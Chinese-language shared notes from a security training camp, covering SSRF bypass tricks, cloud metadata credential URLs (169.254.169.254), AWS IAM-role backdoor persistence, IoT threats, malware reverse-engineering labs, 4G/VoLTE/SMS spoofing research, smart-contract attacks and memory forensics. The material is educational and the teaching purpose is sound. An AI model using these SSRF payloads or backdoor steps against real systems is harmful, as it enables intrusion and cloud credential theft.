- [Cloudmapper](https://github.com/duo-labs/cloudmapper) 可以畫出 AWS 上面的拓樸圖 #### SSRF(服務請求偽造) - What is this? - 透過特殊請求讓伺服器對目標進行請求 - Why occur? - 沒有對輸入進行過濾 - Eg. Our greatest FACEBOOK - Attack Side - 借刀殺人 - Inner port scan - Inner server attack(Struct2, Redis, ElaticSearch...) - 讀取本機檔案 - 服務架構識別 - Where? - 有網路的地方....(能夠發起網路請求的地方,尤其雲端服務裡) - 呼叫其他服務 - Remote resource request(Download, Cache) - 服務內建功能(Oracle, MSSQL, CouchDB) - 文件處理 ( ffmpeg, ImageMagick, Doc, Xlsx, Pdf, XML(XXE 漏洞)) - 其他漏洞利用(Command Injection, SQLi, XSS, SSTI) - Magic Server - Splash: Javascript Render Service - Crawler 會用到的工具 - GET/POST 修改 Header - 運行方法 - `docker run -p 8050:8050 -p 5023:5023 scrapinghub/splash` - Key下去 全世界都可以玩你的Splash喔... - 可利用協議 - Http/Https - Gopher - File - Dict(很少遇到) - 可利用服務 - ElasticSearch <-- 使用者資料寶庫 Eg.Uber - CouchDB - Redis - 練習 - http://ssrf01.0x61697333.cf (1 flag) - file:///etc/nginx/sites-enabled/default > 我還以為site-enable裏面會藏超多東西欸... > 是說完全忘了 php 原始碼跑到瀏覽器會被自動處理成 comment... - 內建: ElasticSearch(1 flag) - Port 9200 - _search - Ubuntu 14.04 + Nginx(default path) - 保護繞過 - HTTP 302 Redirect - scheme://IP:Port/Path - IP 變形 舉例都是127.0.0.1 - 127.0.1 - ipv3 下的表達形式 - 127.0x0.0x00.1 - 2130706433 - http://0/ <-- local host - 用在 linux 下 - http://[::] < -- local host - HTTP://0000::1 - [ip].nip.io - 解出來等於[ip] - 這啥奇怪的東西... - DNS Rebind - 檢查與請求結果不一致 ```php <?php .......... ?> ``` - `A.1.1.1.1.1time.127.0.0.1.1time.repeat.rebind.network` - 還可以這樣變.... - 解析不一致 (一個網址各自表述) - http://1.1.1.1&@2.2.2.2#@3.3.3.3/ urllib2 requests urllib browsers - 這個 parser 差異也太鬧.... - 應該保護哪些IP被存取 - 127.0.0.1 - Private Network - 169.254.169.254 - MetaData service - Usually be used on cloud vm - for server auto-configuration - WeirdAAL (AWS Attack Library) - 專門攻擊AWS Service - 全自動提供測試 API 服務 - [安裝教學](https://github.com/carnal0wnage/weirdAAL/wiki/Setup) - 南區共筆有相關指令 .env 內容 ``` [default] aws_access_key_id = <insert key id> aws_secret_access_key = <insert secret key> aws_session_token = <insert token> ``` > env的正確設定姿勢 > https://github.com/carnal0wnage/weirdAAL/wiki/Usage#set-an-aws-key-pair 存取方式(AWS/OpenStack) http://169.254.169.254/latest/user-data http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials - WeirdAAL 練習 - ssrf10.0x61697333.cf - 嵌後門 - 建立 root level 的 IAM role with key - 開個 lambda 把這 role 綁上去 - 小建議 - ACL 綁 IP 不要太明確 - 確實清查 IAM roles - 用帳單檢查可疑服務 > *Email: hi@kaiching.wang* ~~請寄釣魚/病毒信件~~ ~~以換取更凶猛的病毒和釣魚信件~~ #### 抬槓區 > 自從 fail2ban 把自己鎖住後以後都乖乖用金鑰登入,以免手殘 > 地圖砲 money wife girlfriend.... > dump 興奮 > 需要最強的DDOS保護請洽ISP ### 8/02 (四) 14:00 - 17:00 - 講師 : 鄭朱弘毅 / 陳偉雄 趨勢科技 - 先進資安防護技術 & 實例:AI/IOT - 基礎資安教育訓練:網頁 & IOT (TMSAT) #### IOT資安難處 - 設備商眾多 - 新裝置難以辨識 - 應用環境複雜 - 出廠後無法安裝資安軟體 - 缺乏更新 - 傳輸加密 - 裝置間通訊規格未規範資安 - 相容性問題 - 機敏資料的使用 #### IoT 為何是好靶 - 24/7 線上待命 - 弱點多 - 因為現在開發週期短導致難以有完整的開發及安全性稽核 - 廉價 - 因為廉價 裝置多 - 缺乏管理 #### car hack - wireless/wired CANbus connect - MITM - weak or no auth on API that can control cat=rs #### Mirai - [KrebsOnSecurity](https://krebsonsecurity.com/) 被 DDOS #### DDoS evolvs - old one - dns amp - iot troop - mix two together #### vulns on IoT - code 沒寫好 - 第三方的 code 沒寫好 - 沒加密的協定 - 沒寫好的 app/cloud - 沒有或不安全的更新機制 - 曝露不安全的 port - debug purpose (x) laziness (o) - 不正常的系統變更 - 沒有或不足夠的身分認證 - 認證資料沒加密/或弱加密 #### IoT攻擊步驟 - 靜態分析 - 掃描 - 資料蒐集 - 發動攻擊 ### 8/03 (五) 09:30 - 12:30 - 講師 : 王歆綺 資策會 - 遠端注入與無檔案式攻擊技術 **VM內的皆為真實案例** **所以請不要在自己的機器上開** ##### [0.Start]Flareon Goal: get the right password 找斷點 歐莉底霸個(Ollydbg) F9 跳到程式預設斷點 - cmp test - Tools - 用來逆向 - IDA - Ollydbg - Far manager - Hiew - 虛擬機 - VirtualBox or VMware - [0.Start] Folder: SAMPLE/0.Start/ - Flareon Goal: get right password - 比較 - cmp - test - sub - Ollydbg介紹 - 左下方是記憶體 - 右下方是stack(有push、pop) - 呼叫函數的時候會用到 - 右上方是暫存器的內容 - 左上方是OP code - 解出答案(看到登入成功的畫面)、不是換掉答案 - 是說不知道有沒有人無聊去看旁邊的 crap1 XDD - 內容很有趣 - 有夠調皮,遠在天邊 近在眼前zzz - rtf - 如果爆炸了跟不上.. 就放下手上的東西 開始收東西... - 基本上看到一長串的 hex 或是 \x escape 就先解看看吧 - 是說照慣例的 crap9 - `xxd -ps -r <filename>` - log_analysis - Goal: 找受害IP及中繼站 - `cut -f <field number> -d <split char>` - `sort -rn` Reverse sort(降冪) - 找奇怪存取次數的URL - 應該很常存取的domain卻很少存取的 - 看起來很奇怪的名字的 - 找到URL之後, 去反搜存取過的IP - 有需要的時候也可以用 grep -v "可疑 IP" 去翻翻看有沒有漏網的 - Powershell_MSFVENoM - Goal1: decode the payload Goal2: find the backdoor IP and port - 看個powershell的payload - 不會猜就猜Base64 - Unicode2ASCII - strings -afel - tr -d '\0' - 編出來還是看不懂, 何不試試file呢? - `file <filename>` - zcat - 不解包來看內容 - 中場休息 - [這過程就跟洋蔥一樣...](https://www.youtube.com/watch?v=bAf9zKF3b6I) - 你以為結束了嗎? 不, 你還要分析... - 看到 push pop hex 就要知道是傳參數、call functin、load library,library 可以去查 Windodws 官方 API hex value - IDA打不開嗎? .idb砍掉就對了... - OllyDbg - F7 step into - F8 step into - 關於那個戳 winapi 的手法 - https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Josh-Pitts-Teaching-Old-Shellcode-New-Tricks-UPDATED.pdf - w32.connect/w32.bind - sockid - sockaddr* addr - namelen - sockaddr ```c typedef struct sockaddr { u_short sa_family; ADDRESS_FAMILY sa_family; CHAR sa_data[14]; } SOCKADDR, *PSOCKADDR, *LPSOCKADDR; ``` ### 8/03 (五) 14:00 - 17:00 - 講師 : 李奇育 交通大學資工系 - 4G - Outline(?) - 3G/4G基本架構和方式 - 安全機制 - 找漏洞 - 計費功能 - 4G高音質通話 (VolTE) - 4G簡訊系統 - 知道攻擊才能解決弱點 - 大綱 - 行動網路系統與單全簡介 - 4G高音質通話潛在安全威脅 - 實作3ㄍ - 資料流認證 - VoLTE漏洞檢測 - 開發具有原生碼(Native Code)的Andriod手機APP測試工具 - 課題一 - 行動網路 - 與網際網路同等規模的最大網路架構 - 廣泛覆蓋範圍和無處不在的連線 - 203ㄍ國家 - 大綱 行動網路系統跟安全大綱 - 系統的演化 - 1G. AMPS NMT TACS - 2G. GSM.GPRS EDGE cdmaOne - 3G. WDCDMA - 4G.LTE - 行動網路的主要標準 3GPP - 依序發展和訂定2G GSM&3G UMTS&4G LTE - 主要探討3GPP標準 - 類似的有3GPP2 WiMax Foruum - 目前全球的演化:3G -> 4G - 4G LTE 行動寬頻的第一個全球標準 - 2G -> 3G ->4G - 2G - 電路交換的語言服務 - 3G - 封包交換的上網服務 - 4G - 所有服務皆封包交換 - IP-based - 電路交換 - 通話需端點之間資源的保留 - 資源:連結頻寬和交換機容量 - 專用的資源:不能分享 - 電路式的保證效能 - 需要通話資源的建立 - 電路機換信令 - 用於建立維持和拆除虛擬電路 - 用於2G和3G的通話服務 - 但不能使用於現今的Net - 封包交換 - 裝置A和B的封包沒有固定傳輸模式 - 頻寬分享且多工 - 網際網路中的路由器採儲存和轉送(Store-and-forward)的方式 - 使用於網際網路 - 封包交換信令 - 網路曾不須通話資源的建立(end-to-end connections) - 網路層沒有連線的概念 - 根據終點(Destination)位址轉送封包 - 兩點之間連線的封包可能由不同的路徑轉送 - 4G/3G 行動網路架構 ![](https://i.imgur.com/cQIyyEG.png) ![](https://i.imgur.com/Fg480lU.png) - 主要運作方式 - 兩個主要的運作層面 (planes) - 資料或用戶層(Data/User plane): 資料的傳送 - 控制層(Control plane): 信令的傳送 - 控制層的主要3功能 - 無限資源的控制(RRC,Radio Resource Control) - 移動控制(MM,Mobility Management) - 連線控制(CM,Connection Management) - 如何建立一個用於上網服務的4G網路連線? ![](https://i.imgur.com/rN3fTMr.png) - 目前4G網路的安全機制 - ![](https://i.imgur.com/ex70PD3.png) - ![](https://i.imgur.com/SR4pfXo.png) - ![](https://i.imgur.com/UNjvkn5.png) - ![](https://i.imgur.com/NNdEQ0v.png) - ![](https://i.imgur.com/9Vk7I4p.png) - 總結 - 用戶認證 - 控制層 (Control plane) 安全機制 - 行動裝置和移動管理元件(MME)之間的NAS信令加密且完整保護 - 保護信令的傳送:移動更新、資源保留、連線建立等控制功能 - 行動裝置和基地台之間的AS信令加密且完整保護 - 用戶層 (User plane) 安全機制 - 行動裝置和基地台之間的資料加密 - 基地台和封包閘道器之間資料加密非必要,因封包傳送皆發生於封閉的行動網路中 - <font color=red>但是,如此完善的行動網路安全機制仍然存在安全性弱點 ! </font> - 課題二:計費功能(Charging)之潛在安全威脅 - 用戶資料流之認證(Authentication)與授權(Authorization) - 用戶資料流之認證與授權 - 與資料流量之統計機制息息相關 - 若有安全性弱點而遭受攻擊,有可能使得 - 用戶的資料流量被惡意增加 - 攻擊者可以取得某些資料流量的免費使用 - 用戶資料流之認證與授權 - 認證 (Authentication) - 每一資料流的費用應記在真正使用此資料流的用戶 - 但若認證發生問題,某資料流的費用有可能記在錯誤的用戶上 - e.g., 用戶 A 用的資料流費用記在用戶 B 的帳上 - 授權 (Authorization) - 行動網路所傳送的每一資料流都應是該資料流的用戶所授權的 - 但若授權發生問題,受害者用戶可能需要為他們未授權的資料流負擔費用 - 上網資料量收費方式 - ![](https://i.imgur.com/mGADNZi.png) - 行動網路的資料流量統計方式 - ![](https://i.imgur.com/bqze3V1.png) - 用戶認證及授權與行動網路的資料流量統計 - ![](https://i.imgur.com/zw1OU9f.png) - 以下兩個問題,答案有可能是否定的 - 每一承載連線(Bearer)一定只有此認證過的用戶可以使用嗎? - 每一承載連線(Bearer)上的資料,一定是用戶所授權的嗎? - 我們接下來介紹否定的答案在什麼狀況下會發生、可能遭受到的攻擊、以及原因 - 攻擊者所需的條件 (Threat Model) - 不需接觸行動網路的所有設備和受害者的手機或在它們上面安裝惡意軟體 - 只需市面上販售的Android手機 (需有系統管理者權限) - 用戶認證的安全性弱點與攻擊 – 正常狀態 - ![](https://i.imgur.com/N408aTJ.png) - 用戶認證的安全性弱點與攻擊 - ![](https://i.imgur.com/QSgnZr3.png) - 攻擊的機制:行動網路核心網根據IP統計資料流量 - 假造IP (IP Spoofing) 攻擊 - 攻擊者利用受害者的IP製造上行資料流,可讓核心網認為是受害者所送的資料流 - 核心網因而將此假造IP的資料流統計於受害者的帳單中 - 我們曾發現美國的電信商AT&T有此安全漏洞 - 用戶認證的安全性弱點與攻擊 – 原因分析 - 從協定堆疊(Protocol Stack)的角度分析 - ![](https://i.imgur.com/zceVIfF.png) - ![](https://i.imgur.com/URCfBQQ.png) - 用戶認證的安全性弱點與攻擊 – 解決方法 - 從協定堆疊(Protocol Stack)的角度分析 - 用戶資料流授權的安全性弱點與攻擊 – 正常狀態 - ![](https://i.imgur.com/zdg77Ic.png) - 用戶資料流授權的安全性弱點與攻擊 - ![](https://i.imgur.com/7ukPG26.png) - 用戶資料流授權的安全性弱點與攻擊-2 - ![](https://i.imgur.com/XCS2v97.png) - 用戶資料流授權的安全性弱點與攻擊-3 - ![](https://i.imgur.com/EJDrSO1.png) - 用戶資料流授權的安全性弱點與攻擊-4 - ![](https://i.imgur.com/aCLvyY0.png) - 用戶資料流授權的安全性弱點與攻擊-5 - ![](https://i.imgur.com/UAAi7A6.png) - 用戶資料流授權的安全性弱點與攻擊 – 原因分析 - 安全性弱點:對於下行的資料流無適當的授權機制 - 只要有上行的資料流穿越防火牆 - 防火牆就認定下行的資料流是合法 - 然而,上行資料流有可能被多種方法所惡意製造或利用 - 我們曾發現過美國電信商AT&T和T-Mobile有此安全漏洞 - 以及在中國、香港和日本的電信商皆有發現此漏洞 - 用戶資料流授權的安全性弱點與攻擊 – 解決方法 - ![](https://i.imgur.com/WR3Del1.png) - 總結:用戶資料流之認證與授權機制 - 用戶資料流之認證 - 安全弱點:只根據IP統計資料流量 - 可能遭受之攻擊:假造IP (IP Spoofing) 攻擊 - 解決方法:跨層的安全綁定 (IP和Bearer) - 用戶資料流之授權 - 安全弱點:對於下行的資料流無適當的授權機制 - 可能遭受之攻擊:經由MMS、Skype和IP spoofing等方法增加受害者的上網數據量 - 解決方法:取消資料流授權的機制 - 這些安全弱點起因於行動網路的演化:電路交換網路至封包交換IP網路 - 舊有的安全機制無法防護這些新的安全弱點 - 網際網路上的安全弱點皆有可能發生在行動IP網路中 - 學習到的經驗 - 當系統在演化過程中,任何重大的改變都有可造成安全的漏洞 - 舊有的安全機制無法防護新系統的安全漏洞 - 如:行動網路的認證AKA機制和行動上網資料流的安全 - 新技術本身可能帶來更多的安全威脅 - 如:3G/4G行動網路使用IP網路 - 以下原因皆有可能造成安全漏洞 - 技術設計上的問題 (3GPP標準) - 執行上的缺陷 (設備和手機製造商) - 運作上的錯誤 (電信商) - 因此,在系統的演化過程中,所有可能的安全威脅應從各方面 (設計、執行、運作),根據新技術的使用重新檢視 - 課題三:4G行動網路簡訊系統(SMS)之潛在安全威脅 - 簡訊服務(SMS)仍然是非常流行的 - 幾乎所有的手機都支援SMS (Short Message Service) - 各式各樣的產業和服務依賴在SMS上 - 三種SMS服務的運作方式 - ![](https://i.imgur.com/sTnYI06.png) - IMS-based SMS:四個可能的安全性問題 - 與傳統的CS-based SMS比較,以下特性可能造成安全性問題 - 基於軟體設計的SMS客戶端 - 彈性的協定設計 - 用戶層的溝通管道 - 多項的安全機制選擇 - IMS-based SMS:基於軟體設計的SMS客戶端 - ![](https://i.imgur.com/jCiR6px.png) - IMS-based SMS:彈性的協定設計 - ![](https://i.imgur.com/vTYP7kk.png) - IMS-based SMS:用戶層的溝通管道 - ![](https://i.imgur.com/5uMy2Cc.png) - IMS-based SMS:多項的安全機制選擇 - ![](https://i.imgur.com/6I1Y7Lz.png) - IMS-based SMS的安全性弱點和可能遭受的攻擊 - 安全性弱點一:SIP會話資訊的洩漏 - ![](https://i.imgur.com/iUPOr3y.png) - ![](https://i.imgur.com/E8kTI6y.png) - 安全性弱點二:SIP訊息無完整性保護 - 沒有資料完整性的保護 - 只要知道SIP訊息的架構,很容易可以假造 - ![](https://i.imgur.com/p4e5SVv.png) - 安全性弱點三:手機上不安全的SMS存取控制 - Android用 SEND_SMS permission控制APP是否能傳送SMS訊息 - 防毒軟體或Android會監控擁有SEND_SMS permission的APP - 但,這並不適用於IMS-based SMS服務 - ![](https://i.imgur.com/pb9RUEN.png) - 我們發現如果Android APP要傳送一個SIP訊息(帶著SMS內容),它只需要取得INTERNET permission - 因此,惡意軟體可以偷偷發送惡意的SMS,不被目前的SMSpermission所限制 - 沒有任何限制 - 不會有任何警示 - 安全性弱點四:IMS伺服器沒有檢查假造的SMS - 不是所有的電信商都會檢查SIP訊息中傳送者的電話號碼 - ![](https://i.imgur.com/8OPFN3o.png) - 四個IMS-based SMS的安全性弱點 - SIP會話資訊的洩漏 - SIP訊息無完整性保護 - 手機上不安全的SMS存取控制 - IMS伺服器沒有檢查假造的SMS - SMS假造攻擊 - 我們開發一個Android APP可以發送SIP(包含IMS-based SMS)訊息 - 只需要Internet permission - 不被現有的SMS permission所限制 - 它允許假造傳送者的號碼,且指定接受者的號碼 - 利用假造SMS攻擊基於SMS的FB服務 - Facebook簡訊服務攻擊 - 幫受害者更新狀態、加朋友和加Like - Demo: 攻擊者幫受害者加朋友,過程中,不需要受害者的任何動作 - ![](https://i.imgur.com/J9TME1A.png) - 利用假造SMS攻擊基於SMS的FB服務 - Facebook簡訊服務攻擊 - ![](https://i.imgur.com/A60OGpg.png) - Demo: 攻擊者(ResearchThree)幫受害者(Scott)加朋友 - 利用假造SMS攻擊基於SMS的ARC服務 - 非授權的捐款 - SMS捐款服務:美國紅十字會 (American Red Cross)允許捐款者使用SMS捐款 - 捐款是從傳送者的電信帳單收費 - 例如:發送REDCROSS到號碼90999,就表示傳送者要捐10元給紅十字會 - 建議的解決方法 - 手機 - 升級SMS permission - IPSec的實現不應該依賴在系統功能 - IMS系統 - SIP訊息應該有資料整性保護 - 需檢測SIP訊息的傳送者號碼 - 基於SMS的服務系統 - 需要使用者主動的註冊 - 使用簡短的認證碼 - 已發現安全漏洞的狀態(2016/10) - 已將發現的漏洞通知Google、美國電信商和Facebook - 在Andoird Marshmallow版本或更新的版本中,沒有管理者權限無法取得IMS位址 - Facebook已經實現了MobilePIN,而且移除了從SMS控制"addfriend"和"like page"功能 > 圖片支援終止線 > 下面待施工 - 課題四:4G新世代高音質通話系統(VoLTE)之潛在安全威脅 - 什麼是VoLTE? - VoLTE的運作和安全機制 - VoLTE的安全性弱點和可能遭受的攻擊 - VoLTE安全弱點的原因和解決方法 - 4G LTE:演化至全IP網路架構 - 使用封包同時提供通話語音和上網資料服務 - 如同網際網路:通話服務(e.g., Skype) - Why? - 可以提供更好品質的服務 - 如:高音質、影像通話等 - 減少成本和系統複雜度 - 圖 - 主要的改變:通話語音服務 - 從電路交換系統(CS)轉移至封包交換(PS) - 新興的語音通話服務VoLTE (Voice over LTE) - 又稱高音質通話服務 (HD Voice) - 如何在行動網路中支援VoLTE ? - 傳統語音通話:電路交換 (CS) - 圖 - 4G LTE語音通話:封包交換 (PS) - 圖 - 如何在行動網路中支援VoLTE ? - IP多媒體子系統 (IMS, IP Multimedia Subsystem): 一個用來傳送IP多媒體服務的新架構 - 像Skype的伺服器 - 也支援其他多媒體服務:如:影像通話 (ViLTE, Video over LTE) - 圖 - VoLTE 高音質通話服務 - 聲音讓人感覺通話雙方就在旁邊 - 清晰的通話品質 - 較少的背景雜音 - 語音通話和上網資料服務可以同時使用4GLTE的高速傳輸 - VoLTE的運作 - 一般上網資料服務承載 (Data Bearer) - VoLTE 信令承載 (Signaling Bearer) - VoLTE 語音承載 (Voice Bearer) - 圖 - VoLTE的運作 - VoLTE信令:對談發起協定 (SIP,Session Initiation Protocol) - VoLTE語音:實時傳輸協定 (RTP,Real-time Transport Protocol) - 圖 - VoLTE的運作和安全機制 - VoLTE安全機制:手機和IP多媒體子系統之間用IPSec保護 - IPSec (網際網路安全協定):用戶認證和資料完整性 - 圖 - VoLTE的運作和計費機制 - 圖 - VoLTE如何達到電信等級(Carrier-Grade)的語音服務品質? - 利用不同服務品質的承載來支援VoLTE,避免受行動上網服務影響 - 圖 - VoLTE的安全性弱點和可能遭受的攻擊 - 威脅一 - 圖P17 - 威脅一 – 信令承載 - 我們是否可以使用VoLTE的信令承載(Signaling Bearer)傳送資料封包? - 然而,此安全威脅可能受在手機和4G閘道器上的存取控制而避免 - 圖(P19) - Yes to Q1:手機上沒有適當的存取控制 - #1: 在Android作業系統上 (2015),對於VoLTE信令承載 (網路介面) 沒有適當的權限控制 - 一個行動軟體想要傳送封包至信令承載,只需擁有Android上的網際網路權限 (Internet permission) - #2: 在手機硬體上,也沒有存取控制 - 圖 - #3: 網路中,對於VoLTE信令承載有不適當的路由 - T-Mobile: 手機到網際網路和另一手機 - AT&T: 手機到另一手機 - 圖 - 威脅一 – 兩種主要的攻擊 - 免費上網服務攻擊 - 攻擊者:行動用戶 - 受害者:行動網路 - 驗證攻擊的美國電信商:AT&T、T-Mobile和Verizon - 上網拒絕服務攻擊 (DoS, Denial-of-Service) - 攻擊者:行動用戶 - 受害者:行動用戶 - 驗證攻擊的美國電信商:AT&T、T-Mobile和Verizon - 免費資料傳輸服務攻擊 - 經由VoLTE信令承載,建立資料傳輸通道 - 圖P23 - 但可能只有ICMP封包可以通過閘道器至網際網路 - 為了可以正常使用上網服務,我們需建立ICMP通道 (Tunnel) - 將所需傳的資料封裝至ICMP封包中 - 網際網路需要有一個ICMP通道伺服器負責將資料放進ICMP或從ICMP拿出 - 圖P24 - 上網拒絕服務攻擊 (DoS) - 經由VoLTE信令承載,傳送大量垃圾封包 (Spamming) - 利用此承載的高優先級 - 圖 - 上網拒絕服務攻擊(DoS)結果 - 圖 - 威脅二 - 圖P18 - VoLTE的可能安全威脅二 – 語音承載 - 圖 - 不安全的 VoLTE 語音承載存取控制 - 語音封包是從數據機產生的,而不是從作業系統 - 我們的APP可以傳送垃圾封包到VoLTE語音承載 - 圖 - 如何將垃圾封包送至VoLTE的語音承載呢? - 我們發現當封包送往IMS伺服器用來服務這個語音通話的IP和Port,這些封包就會被modem送至語音承載 (voice bearer) - 每次建立通話時,手機和IMS伺服器會經由信令承載(signaling bearer)溝通雙方要使用的IP<sub>VO</sub>和Port<sub>VO</sub> - 通話建立成功後,modem就會將擁有IP<sub>VO</sub>和Port<sub>VO</sub>的封包當成是語音封包,而送至語音承載 - 圖 - 如何取得IP<sub>VO</sub>和Port<sub>VO</sub> - 當我們要利用APP傳送垃圾封包對受害者發動攻擊時 - 此APP是一個惡意軟體,應假設無法取得管理者權限 (Root privilege),而只有普通的上網權限 (Internet permission) - 所以它無法即時取得信令封包內容 - 利用語音承載的QoS特性偵測而取得Port<sub>VO</sub> - 圖 - 威脅二 – 攻擊 - 語音拒絕服務攻擊 (DoS) - 攻擊者:惡意軟體 - 受害者:行動用戶 - 驗證攻擊的美國電信商:AT&T和T-Mobile - 驗證攻擊的手機廠商:Samsung和Sharp (都使用Qualcomm的modem chipset) - 不同以往對於語音通話的攻擊方式 - 以前:無法建立通話 - 現在:雖可建立通話,但雙方無法聽到對方的聲音 - 原因&建議的解決方法 - 主要有三個面向的安全性問題:VoLTE的標準、行動網路和行動裝置 - VoLTE的標準:設計的缺陷 - 缺乏對VoLTE服務和高優先級承載的保護機制 - 行動網路 - 不適當的路由和缺乏VoLTE信令的統計機制 (accounting) - 解決方法:修正路由、限制高優先級乘載的速度、增加VoLTE信令的統計機制 - 行動裝置 - 軟體(行動作業系統)和硬體(Modem)皆缺乏適當的存取控制 - 新版Android已經增加了對VoLTE資訊和網路介面的存取控制 #### <font color = red>VM密碼:nctu</font> > 哪兒有VM O3O? > 課前準備的VM? https://goo.gl/8DRz82 > ---------------------------------全部在上面了---------------------------------------- > 除了圖 > 感恩 ### 8/04 (六) 09:30 - 12:30 - 講師 : 林詠章 中興大學資管系 - 智能合約攻擊 - 區塊鏈(BlockChain) - The DAO(Ethereum) - 駭客透過The DAO專案本身的Voting漏洞來去非法盜領貨幣 導致乙太坊必須決議進行硬分岔(Hard fork)來回溯主鏈到被駭之前的狀態 - 結果: ETC跟ETH就出現了... - What is mining - Guessing nonce - 反正就是碰撞出符合難度的Hash拉XD - Difficulty - Proof of Work(PoW) - 演算法根據全網算力來去應對難度 - 藉由Hash的leading zero來去控制難度 - Leading zero 愈多, 則尋找合法Hash的難度愈高。 - How to mine faster? - ASIC / FPGA - GTX 1080 Ti GO!~ - 單位時間Hash愈多次, 猜到的機率就愈高XDDDD - 亂槍打鳥: 左輪 vs 加特林機槍 - 不可竄改性 - Payload也要經過hash出符合難度的結果 - 然後還要全網51%以上算力認証才有可能汙染區塊練的資料 - [區塊鏈模擬網站](https://anders.com/blockchain/blockchain.html) - 51%攻擊 - 醒來 這個不可能 - 比特大陸?? <-- 太不經濟了XD 而且前提是出的礦機本身就有加料malware 除非世界最大的51%僵屍網路上線 - 之前忘了哪個幣有人用跟 nicehash 買算力的方法去達成 - BTG 雙花攻擊 - 透過NiceHash(算力租借)來去湊齊51%算力 - 準備大量的洗錢資金(BTG) - 一方面發起交易轉移洗錢資金至交易所, 另一方面使用51%算力竄改區塊紀錄 - 所以原本的洗錢資金還在原本的帳戶, 但是交易所在取消之前已經確認交易 - 於是駭客一邊無中生有BTG 還順便在交易所兌現 - 超棒的... - Smart Contract(智慧合約) - KickStart網站 - 智能合約單車租借(紀錄Transcation) - 數位版權交易 - 債券交易(集保中心備份) - 募款活動(款項透明化) - Bitcoin VS Etherum - Bitcoin沒有應用面 - 帳本 vs 智能合約 + 帳本XD - Smart Contract Attack - Solidity語法 - Address(紀錄帳戶) - String(紀錄字串) - Unit(紀錄時間和金額) - 不能用中文和浮點數 - Gas - 算力成本(手續費) 簡單講, 你只要戳到區塊鏈 就要付錢 - gas limit(最多付多少手續費) - gas price(願意付多少手續費給礦工) - gas used(演算法決定) - 實際Tx費用 = Gas Price * Gas Used - Fallback function - 什麼都沒有 parames return function name 都沒 - 只是拿來作為簡單log(event) - Out of gas - 如果fallback function太多東西 可能就會超過2300gas 的limit。 - Contract2Contract 有2300 gas的limit - [SafeMath](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol) - Reentrancy - side effect ### 8/04 (六) 14:00 - 17:00 - 講師 : 許晉銘 長庚大學資管系 - 揮發性資料擷取及分析 - winterthink@gmail.com - AccessData FTK Imager (Memory Dump) - 快速下載 - `wget --recursive --no-parent -R "index.html*" http://10.102.0.2/file/11-0804-Afternoon/other%20software/AccessData%20FTK%20Imager_Lite_3.1.1/ ‵ - dump 出來的檔案建議不要放在本機端 - pagefile.sys -> swap - Linux swap - swap變多 電腦也差不多了 - physical memory吃光了 才會開始增加swap - 不過其實不會到吃光光才開始swaping kernel會自己慢慢去戳swap - Windows swap - 平常就會吃 swap,所以這邊的記憶體也很重要 - 實體記憶體夠大可以把swap關掉 - 揮發性資料 - 沒事多放電 XD 但是鋰電池不要太常喔 過放容易壞掉 ㄏ - Power off or Shutdown就會消失的資料內容 = 揮發性資料 - 記憶體種類 - 32bit Physical RAM - 大概有3424MB是真正可以使用的空間 - 關鍵字 - `file:///` - `www.google.com.tw/search?` - 分頁黨設定及判讀重點 - 可由 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\MemoryManagement - Hiberfil.sys - Hiberfil.sys 是系統休眠檔案,只要取消「啟用休眠」這檔案就會自動刪除 `powercfg -hibernate off` - 執行完的檔案會進行ROT13編碼 - 可以使用 rot13 decoder 去解碼 - ROT13 -> 凱薩加密延伸 - 搜尋 rkr 並且 copy 那整段 - ROT13就是位移13位的編碼 rkr = exe - 可以使用 HxD 編輯器,阿榮就有了 - 搜尋 `FF D8 FF` (JPEG標頭) - [file signature](https://www.garykessler.net/library/file_sigs.html) - 隱寫術`copy /b <front file>+<hide file> <output file>` <-- Windows - doc 檔案也可以這麼做 - 記憶體中可能存在的證據 - 惡意程式 ***Rootkit, Trojan*** - 硬體使用紀錄 USBSTOR - Webmail, Line, Attachment - 開啟檔案 exe, Lnk, file:\\\ - 網路資訊 IP, Port - 加密資訊 PGP, TrueCrypt - 運作中服務或視窗 Windows, Keystrokes - 帳號密碼 WEP, WPA 密碼 - 記憶體明碼儲存 - 如台灣各大網路銀行、購物網站 - 推薦閱讀國外技術文章 - [Windows Memory Forensics with Volatility](https://www.first.org/resources/papers/conference2009/schuster-andreas-sliders.pdf) - [Volatility Forensic on Hidden Files](https://www.ijsr.net/archive/v2i6/IJSRON20131139.pdf) - [Memory Forensics: Tools and Techniques](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=2ahUKEwiPjunB7dLcAhVJdt4KHfKZD1YQFjAAegQIABAC&url=http%3A%2F%2Fwww.indjst.org%2Findex.php%2Findjst%2Farticle%2Fdownload%2F105851%2F77226&usg=AOvVaw1xksKEcSYyOXuHFbx_qeuw) - [Study on Live analysis of Windows Physical Memory ](http://www.iosrjournals.org/iosr-jce/papers/Vol15-issue4/M01547680.pdf) - Windows Regsitry - 7個地方USB紀錄 - 記憶體中會有該設備的 driver - 記憶體中關鍵字 - Browser: www.google.com.tw/search? - passwd= or Password or memberpw - file:\\\ - rkr, tax Rot13 decode - [\x09-\x0A...\x7E] PGP decrypt key - OneDriver &login &password - Dropbox u'xxx@gmail.com' - 待補 - 硬碟銷毀 - 火燒,不好燒乾淨 - 強酸,會釋放有毒氣體 - 敲碎,要敲到很碎 - 消磁機 👍 - Window 的快速格式化 - Windows 7前:只會將檔頭替換成 "e5" (FAT) - [駭客入侵賭場魚缸](https://www.inside.com.tw/2018/04/16/hackers-stole-a-casinos-high-roller-database-through-a-thermometer) - 推薦電影 zeroday - Stuxnet(電腦蠕蟲)專門攻擊 SCADA 系統 - 鑑識兩三事 - 當發生問題,資訊人員會忙著恢復主機,此時也就妨礙了數位鑑識的進行,當在同一台電腦進行恢復,其證據也就逐漸消失 - 炫砲監測網站 - https://cybermap.kaspersky.com - http://map.norsecorp.com - Volatility 教學 - volatility.exe -f zeus.vmem imageinfo - profile 要記錄下來 - volatility.exe -f zeus.vmem pslist - volatility.exe -f zeus.vmem connscan - volatility.exe -f zeus.vmem connections - volatility.exe -f zeus.vmem psxview - 可以觀察哪些程式的 True False 跟別人不同 - volatility.exe -f zeus.vmem pstree - Autopsy 教學 - new case > finish - select data source - 解譯 - http://www.onlinehashcrack.com

    Import from clipboard

